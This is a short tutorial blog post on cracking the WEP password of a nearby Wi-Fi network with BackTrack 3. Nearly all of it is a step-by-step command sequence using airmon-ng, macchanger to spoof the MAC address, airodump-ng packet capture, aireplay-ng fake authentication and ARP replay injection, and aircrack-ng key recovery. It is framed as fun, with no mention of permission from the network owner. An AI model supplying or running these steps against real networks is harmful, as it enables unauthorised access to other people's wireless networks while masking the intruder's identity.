Crack a Wi-Fi Network’s WEP Password with BackTrack

Hello friends today i am going to write something about "how to crack WEP wireless key.
for this you have following things:

• wireless adapter
• A BackTrack 3 Live CD

Now you are ready to crack the nearby WEP wireless . Note that this is only for WEP not for WPA. 
please friend be patient while doing this process.
friend you'll need to launch Konsole, BackTrack's command line.  it is in the lower left corner.
now type this comand:

airmon-ng

Now run following command.

airmon-ng stop (interface)
ifconfig (interface) down
macchanger --mac 00:11:22:33:44:55 (interface)
airmon-ng start (interface)

note that type everything clearly . In the place of interface you can type your wlan interface .
Now we are going to  pick network. Run:

airodump-ng (interface)

now its time to watch  we have to  capture that information to a file. you have to  Run:

airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)

open a new Konsole window  and  type this command

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)

here essid is the name of wireless which you are going to crack( ESSID is the access point's SSID name).
Now its time for capture the data . you have to run

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)

after collecting large amount of data run this command

aircrack-ng -b (bssid) (file name-01.cap)

here file name should be whatever you want,you can give it any name.

You will see The WEP key to "KEY FOUND"
  
                                                       thank you.
                have a fun.                        copyright@imsubhu